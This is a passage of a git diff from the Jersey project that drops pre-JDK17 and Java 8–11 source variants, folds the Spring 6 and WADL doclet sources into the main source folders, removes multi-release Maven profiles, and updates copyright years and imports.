  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,8 +24,8 @@
 import jakarta.servlet.ServletContext;
 
 import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager;
+import org.glassfish.jersey.inject.hk2.Bindings;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.server.ApplicationHandler;
 import org.glassfish.jersey.server.spi.ComponentProvider;
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
similarity index 96%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
index b47ba09..3b6637d 100644
--- a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
+++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java
similarity index 96%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java
index 8e21bda..935c3d1 100644
--- a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java
+++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java
similarity index 97%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java
index 35a9e26..18525b9 100644
--- a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java
+++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java
similarity index 96%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java
index 4c2d0c2..844a579 100644
--- a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java
+++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java
similarity index 100%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java
diff --git a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
deleted file mode 100644
index 747c607..0000000
--- a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-package org.glassfish.jersey.server.spring;
-
-import jakarta.inject.Singleton;
-import org.glassfish.jersey.internal.inject.Injectee;
-import org.glassfish.jersey.internal.inject.InjectionResolver;
-
-@Singleton
-public class AutowiredInjectResolver implements InjectionResolver {
-
-    @Override
-    public Object resolve(Injectee injectee) {
-        return null;
-    }
-
-    @Override
-    public boolean isConstructorParameterIndicator() {
-        return false;
-    }
-
-    @Override
-    public boolean isMethodParameterIndicator() {
-        return false;
-    }
-
-    @Override
-    public Class getAnnotation() {
-        return null;
-    }
-}
diff --git a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringComponentProvider.java b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringComponentProvider.java
deleted file mode 100644
index 5f85ffb..0000000
--- a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringComponentProvider.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.server.spring;
-
-import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.server.spi.ComponentProvider;
-
-import java.util.Set;
-
-/**
- * Custom ComponentProvider class.
- * Responsible for 1) bootstrapping Jersey 3 Spring integration and
- * 2) making Jersey skip JAX-RS Spring component life-cycle management and leave it to us.
- *
- * @author Marko Asplund (marko.asplund at yahoo.com)
- */
-public class SpringComponentProvider implements ComponentProvider {
-
-    @Override
-    public void initialize(InjectionManager injectionManager) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new IllegalStateException(LocalizationMessages.NOT_SUPPORTED());
-        }
-    }
-
-    @Override
-    public boolean bind(Class<?> component, Set<Class<?>> providerContracts) {
-        return false;
-    }
-
-    @Override
-    public void done() {
-
-    }
-}
diff --git a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
deleted file mode 100644
index 15dd493..0000000
--- a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.server.spring;
-
-import jakarta.ws.rs.ext.Provider;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.server.spi.Container;
-import org.glassfish.jersey.server.spi.ContainerLifecycleListener;
-
-@Provider
-public class SpringLifecycleListener implements ContainerLifecycleListener {
-
-    @Override
-    public void onStartup(Container container) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new IllegalStateException(LocalizationMessages.NOT_SUPPORTED());
-        }
-    }
-
-    @Override
-    public void onReload(Container container) {
-    }
-
-    @Override
-    public void onShutdown(Container container) {
-    }
-}
diff --git a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java
deleted file mode 100644
index 9a41f80..0000000
--- a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.server.spring.scope;
-
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.ContainerResponseContext;
-import jakarta.ws.rs.container.ContainerResponseFilter;
-import jakarta.ws.rs.container.PreMatching;
-import jakarta.ws.rs.ext.Provider;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.server.spring.LocalizationMessages;
-
-import java.io.IOException;
-
-/**
- * Spring filter to provide a bridge between JAX-RS and Spring request attributes.
- *
- * @author Marko Asplund (marko.asplund at yahoo.com)
- * @author Jakub Podlesak
- * @author Marek Potociar
- */
-@Provider
-@PreMatching
-public final class RequestContextFilter implements ContainerRequestFilter, ContainerResponseFilter {
-
-    @Override
-    public void filter(ContainerRequestContext requestContext) throws IOException {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new IllegalStateException(LocalizationMessages.NOT_SUPPORTED());
-        }
-    }
-
-    @Override
-    public void filter(ContainerRequestContext requestContext, ContainerResponseContext responseContext) throws IOException {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new IllegalStateException(LocalizationMessages.NOT_SUPPORTED());
-        }
-    }
-}
diff --git a/ext/spring6/src/main/resources/org/glassfish/jersey/server/spring/localization.properties b/ext/spring6/src/main/resources/org/glassfish/jersey/server/spring/localization.properties
index 333129d..2658556 100644
--- a/ext/spring6/src/main/resources/org/glassfish/jersey/server/spring/localization.properties
+++ b/ext/spring6/src/main/resources/org/glassfish/jersey/server/spring/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,7 +20,6 @@
 ctx.lookup.sucessful=Spring context lookup done.
 spring.component.provider.initialized=Spring component provider initialized.
 none.or.multiple.beans.available=None or multiple beans found in Spring context for type {0}, skipping the type.
-not.supported=Spring component is not supported on JDK version less than 17.
 bean.registered=Spring managed bean, {0}, registered with HK2.
 registering.ctx.loader.listener=Registering Spring ContextLoaderListener
 skipping.ctx.lodaer.listener.registration=Presuming Spring ContextLoaderListener was manually registered. Skipping context loader registration.
diff --git a/ext/spring6/src/test/java/org/glassfish/jersey/server/spring/filter/SpringRequestContextFilterTest.java b/ext/spring6/src/test/java/org/glassfish/jersey/server/spring/filter/SpringRequestContextFilterTest.java
index 3e08125..b2706e1 100644
--- a/ext/spring6/src/test/java/org/glassfish/jersey/server/spring/filter/SpringRequestContextFilterTest.java
+++ b/ext/spring6/src/test/java/org/glassfish/jersey/server/spring/filter/SpringRequestContextFilterTest.java
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.server.spring.filter;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.server.spring.scope.RequestContextFilter;
diff --git a/ext/wadl-doclet/pom.xml b/ext/wadl-doclet/pom.xml
index 162a70d..cf8eb44 100644
--- a/ext/wadl-doclet/pom.xml
+++ b/ext/wadl-doclet/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-wadl-doclet</artifactId>
@@ -35,144 +35,9 @@
     
     <properties>
         <java.sourceDirectory>${project.basedir}/src/main/java</java.sourceDirectory>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java8_11</java11.sourceDirectory>
-        <java12.build.outputDirectory>${project.basedir}/target-java12</java12.build.outputDirectory>
-        <java12.sourceDirectory>${project.basedir}/src/main/java12</java12.sourceDirectory>
     </properties>
 
 
-    <profiles>
-        <profile>
-            <id>jdk11</id>
-            <activation>
-                <jdk>[11,12)</jdk>
-            </activation>
-            <build>
-            	<directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java.sourceDirectory}</source>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>jdk12+</id>
-            <activation>
-                <jdk>[12,)</jdk>
-            </activation>
-            <build>
-            	<directory>${java12.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                        	<execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java.sourceDirectory}</source>
-                                        <source>${java12.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <!-- Only multi-release is supported when compiling from higher version to lower -->
-        <profile>
-            <id>copyJDK12FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java12.build.outputDirectory} does not work here -->
-                    <exists>target-java12/classes/org/glassfish/jersey/wadl/doclet/ResourceDoclet.class</exists>
-                </file>
-                <jdk>[11,12)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk12-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/12</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java12.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk12-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                    	<property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                    	<echo>sources-jar: ${sources-jar}</echo>
-                                    	<zip destfile="${sources-jar}" update="true">
-                                    		<zipfileset dir="${java12.sourceDirectory}" prefix="META-INF/versions/12"/>
-										</zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                    	</executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
     <dependencies>
         <dependency>
             <groupId>jakarta.xml.bind</groupId>
@@ -195,6 +60,12 @@
     </dependencies>
 
     <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+            </plugin>
+        </plugins>
         <resources>
             <resource>
                 <directory>${project.build.directory}/legal</directory>
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/DocProcessor.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocProcessor.java
similarity index 98%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/DocProcessor.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocProcessor.java
index feb1f43..d19b49a 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/DocProcessor.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocProcessor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
similarity index 98%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
index 03407db..fdbf362 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/Loader.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/Loader.java
similarity index 94%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/Loader.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/Loader.java
index 43f2515..27b598d 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/Loader.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/Loader.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionClasspath.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionClasspath.java
similarity index 95%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionClasspath.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionClasspath.java
index c11da14..b7f2585 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionClasspath.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionClasspath.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionDocprocessor.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionDocprocessor.java
similarity index 95%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionDocprocessor.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionDocprocessor.java
index 1372e8e..f6dbcb8 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionDocprocessor.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionDocprocessor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionOutput.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionOutput.java
similarity index 94%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionOutput.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionOutput.java
index 822d275..9f16c7b 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionOutput.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionOutput.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
similarity index 99%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
index 763fb8d..2cd8e07 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -190,7 +190,6 @@
                     }
                     result.getDocs().add(classDocType);
                     success = DocletUtils.createOutputFile(optionOutput.getValue(), docProcessor, result);
-                    
                 }
             }
         } finally {
diff --git a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/DocProcessor.java b/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/DocProcessor.java
deleted file mode 100644
index 962b065..0000000
--- a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/DocProcessor.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.wadl.doclet;
-
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ClassDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.MethodDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ParamDocType;
-
-import com.sun.javadoc.ClassDoc;
-import com.sun.javadoc.MethodDoc;
-import com.sun.javadoc.ParamTag;
-import com.sun.javadoc.Parameter;
-
-/**
- * A doc processor is handed over javadoc elements so that it can turn this into
- * resource doc elements, even self defined.
- *
- * @author Martin Grotzke (martin.grotzke at freiheit.com)
- */
-public interface DocProcessor {
-
-    /**
-     * Specify jaxb classes of instances that you add to the {@code resourcedoc} model.
-     * These classes are added to the list of classes when creating the jaxb context
-     * with {@code JAXBContext.newInstance( clazzes );}.
-     *
-     * @return a list of classes or {@code null}
-     */
-    Class<?>[] getRequiredJaxbContextClasses();
-
-    /**
-     * specify which of your elements you want to be handled as CDATA.
-     * The use of the '^' between the {@code namespaceURI} and the {@code localname}
-     * seems to be an implementation detail of the xerces code.
-     * When processing xml that doesn't use namespaces, simply omit the
-     * namespace prefix as shown in the third CDataElement below.
-     *
-     * @return an Array of element descriptors or {@code null}
-     */
-    String[] getCDataElements();
-
-    /**
-     * Use this method to extend the provided {@link ClassDocType} with the information from
-     * the given {@link ClassDoc}.
-     *
-     * @param classDoc     the class javadoc
-     * @param classDocType the {@link ClassDocType} to extend. This will later be processed by the
-     *                     {@link org.glassfish.jersey.server.wadl.WadlGenerator}s.
-     */
-    void processClassDoc(ClassDoc classDoc, ClassDocType classDocType);
-
-    /**
-     * Process the provided methodDoc and add your custom information to the methodDocType.<br>
-     * Use e.g. {@link MethodDocType#getAny()} to store custom elements.
-     *
-     * @param methodDoc     the {@link MethodDoc} representing the docs of your method.
-     * @param methodDocType the related {@link MethodDocType} that will later be processed by the
-     *                      {@link org.glassfish.jersey.server.wadl.WadlGenerator}s.
-     */
-    void processMethodDoc(MethodDoc methodDoc, MethodDocType methodDocType);
-
-    /**
-     * Use this method to extend the provided {@link ParamDocType} with the information from the
-     * given {@link ParamTag} and {@link Parameter}.
-     *
-     * @param paramTag     the parameter javadoc
-     * @param parameter    the parameter (that is documented or not)
-     * @param paramDocType the {@link ParamDocType} to extend. This will later be processed by the
-     *                     {@link org.glassfish.jersey.server.wadl.WadlGenerator}s.
-     */
-    void processParamTag(ParamTag paramTag, Parameter parameter, ParamDocType paramDocType);
-
-}
diff --git a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java b/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
deleted file mode 100644
index e982e84..0000000
--- a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.wadl.doclet;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
